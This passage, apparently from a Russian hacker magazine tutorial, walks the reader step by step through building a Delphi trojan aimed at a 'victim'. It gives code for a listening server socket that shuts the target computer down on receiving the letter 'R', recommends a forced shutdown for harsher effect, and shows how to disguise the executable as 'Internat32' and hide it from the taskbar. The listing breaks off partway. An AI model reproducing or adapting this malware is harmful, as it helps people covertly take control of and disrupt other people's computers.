Боевой конь за 10 минут
Horrific (smirnandr@mail.ru)
Спецвыпуск Хакер, номер #004, стр. 004-053-2
Самая последняя строка "ServerSocket1.Active:=true" запускает сервер на указанном тобой порте.
С загрузкой покончено. Теперь давай займемся выгрузкой. Опять выдели форму и в закладке Events у ObjectInspector-а дважды щелкни по строке "OnDistroy". Теперь создастся процедура, которая будет выполняться при уничтожении формы. В созданной процедуре напиши:
procedure TForm1.FormDistroy(Sender: TObject; var Action: TCloseAction);
begin
ServerSocket1.Active:=false;
end;
Этим я отключаю сервак. Если этого не сделать, то при первой же перезагрузке твоя жертва может поймать синий экран, если ты в это время будешь подключен к серверу. С одной стороны, это хорошо. Твоя жертва в очередной раз убеждается в плохой защищенности его окошек. А с другой, я не думаю, что следует выдавать себя раньше времени. Тем более, что после синего экрана перезагрузка может остановиться, а нам это не нужно (забегу вперед и скажу, что мы сами будем перегружать компьютер жертвы).
Теперь надо выделить ServerSocket1 и перейти на закладку Events у ObjectInspector-а. Дважды щелкни по строке "OnClientRead" и в созданной процедуре (она будет вызываться, когда что-нибудь приходит на порт) напиши:
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
if Socket.ReceiveText ='R' then
ExitWindowsEx(EWX_SHUTDOWN,0);
end;
Теперь смотри, как это звучит по-нашему:
Если полученный текст = букве 'R' то
Отправить компьютер в редаун.
ExitWindowsEx - редаун заставит окна свернуться и отключить компьютер от питания. Я вообще добрый дядька, поэтому использовал параметр EWX_SHUTDOWN. С этим параметром перед редауном всем запущенным приложениям полетит запрос о выключении, и жертва сможет сохранить свои измененные данные. Если ты злей меня, то используй EWX_FORCE. В этом случае компьютер упадет без предупреждения и со скоростью света, так что жертва не успеет от страха воздух испортить :).
Троян практически готов, сохрани его. Для этого выбери "Save All" из меню "File". Сначала Delphi запросит имя формы. Оставь по умолчанию (Unit1) и нажми "Сохранить". Потом будет запрос на имя проекта, которое будет использоваться в качестве имени ЕХЕ файла. Назови его "Internat32", чтобы файл не вызывал особых подозрений.
Конюшня для коня
Теперь ты должен хорошенечко спрятать своего будущего скакуна, чтоб его не было видно в панели задач. Для этого выбери пункт меню "Project Manager" из меню "View". Перед тобой откроется окно, как на рисунке 2.
Щелкни правой кнопкой по Internat32.exe и в появившемся меню выбери "View Source". Перед тобой откроется маленький файл с исходным текстом проекта. Сравни то, что ты увидишь, с этим текстом, и допиши то, чего не хватает, а что лишнее - убери (не так уж и много):
program Internat32;
uses
Forms,
Windows.
Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
var
WhEvent:THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle,SW_Hide);
Form1:=TForm1.Create(nil);
Application.Run;
WhEvent:=CreateEvent(nil, true,false, 'et');